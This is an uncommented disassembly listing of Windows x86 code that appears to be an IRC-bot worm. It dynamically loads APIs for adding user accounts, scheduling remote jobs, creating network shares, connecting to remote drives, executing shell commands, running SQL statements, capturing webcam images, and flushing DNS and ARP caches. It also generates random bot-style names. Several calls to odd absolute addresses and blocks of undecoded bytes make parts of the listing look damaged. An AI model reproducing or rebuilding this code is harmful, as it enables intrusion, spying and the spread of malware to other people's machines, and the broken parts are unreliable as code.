		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB95C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi
		cmp	dword_4CB95C, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA8C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		call	near ptr 2680C22h
		nop
		mov	dword_4CBAC8, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAC4, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB918, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB94C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA64, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB900, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB89C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB934, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi
		cmp	dword_4CB8C8, ebx
		mov	dword_4CB908, eax
		jz	short loc_40A379
		cmp	dword_4CB8A0, ebx
		jz	short loc_40A379
		cmp	dword_4CB918, ebx
		jz	short loc_40A379
		cmp	dword_4CB94C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA64, ebx
		jz	short loc_40A379
		cmp	dword_4CB900, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB89C, ebx
		jz	short loc_40A379
		cmp	dword_4CB934, ebx
		jz	short loc_40A379
		cmp	dword_4CBA2C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9E4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		nop
		call	near ptr 2680C22h
		mov	dword_4CBAD0, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBACC, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi
		cmp	dword_4CB8F0, ebx
		mov	dword_4CB9CC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		nop
		call	near ptr 2680C22h
		mov	dword_4CBAD8, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAD4, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA50, eax
		call	esi
		cmp	dword_4CBA50, ebx
		mov	dword_4CBA4C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		nop
		call	near ptr 2680C22h
		mov	dword_4CBAE0, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBADC, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA7C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA74, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi
		cmp	dword_4CBA7C, ebx
		mov	dword_4CB90C, eax
		jz	short loc_40A481
		cmp	dword_4CBA74, ebx
		jz	short loc_40A481
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		nop
		call	near ptr 2680C22h
		mov	dword_4CBAE8, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAE4, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB940, eax
		call	esi
		cmp	dword_4CB940, ebx
		mov	dword_4CBA48, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		call	near ptr 2680C22h
		nop
		mov	dword_4CBAF0, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAEC, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA10, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA5C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB998, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB950, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi
		cmp	dword_4CBA10, ebx
		mov	dword_4CB960, eax
		jz	short loc_40A569
		cmp	dword_4CBA5C, ebx
		jz	short loc_40A569
		cmp	dword_4CB998, ebx
		jz	short loc_40A569
		cmp	dword_4CB950, ebx
		jz	short loc_40A569
		cmp	dword_4CB9F0, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		nop
		call	near ptr 2680C22h
		mov	dword_4CBAF8, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBAF4, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB924, eax
		call	esi
		cmp	dword_4CB924, ebx
		mov	dword_4CBA04, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		call	near ptr 2680C22h
		nop
		mov	dword_4CBB00, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBAFC, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBA94, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBA98
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBA9C, esi
		jz	short loc_40A641
		push	dword_4CBAA0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAA4, esi
		jz	short loc_40A675
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBAAC, esi
		jz	short loc_40A6A9
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAB4, esi
		jz	short loc_40A6DD
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBABC, esi
		jz	short loc_40A711
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAC4, esi
		jz	short loc_40A745
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBACC, esi
		jz	short loc_40A779
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAD4, esi
		jz	short loc_40A7AD
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBADC, esi
		jz	short loc_40A7E1
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAE4, esi
		jz	short loc_40A815
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAEC, esi
		jz	short loc_40A849
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBAF4, esi
		jz	short loc_40A87D
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBAFC, esi
		jz	short loc_40A8B1
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: ___:0043320Co
					; ___:00433250o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6C4
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB8F0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA50
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8B4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA50
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D884


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D854
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA4C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB978
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB04
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: ___:off_42D920o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 2690ACEh
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D99C[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		db 56h,	57h, 90h
		dd 285FADE8h, 91E85002h, 8B000117h, 0C710247Ch,	91382404h
		dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h,	10C483F6h
		dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
		dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
		dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2690ACEh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 2690ACEh
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4315F4
		push	eax
		push	esi
		nop
		call	near ptr 26C0000h
		movsx	eax, byte_4315F4
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: ___:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: ___:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: ___:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: ___:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: ___:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: ___:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2690ACEh
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 26D0000h
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4315F8
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: ___:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: ___:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB88
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26D0503h
		nop
		call	near ptr 2690ACEh
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431620


loc_40AD2B:				; CODE XREF: ___:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD3B:				; CODE XREF: ___:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431618
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: ___:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_431614
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: ___:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431610
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: ___:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_43160C
		jmp	short loc_40AD97
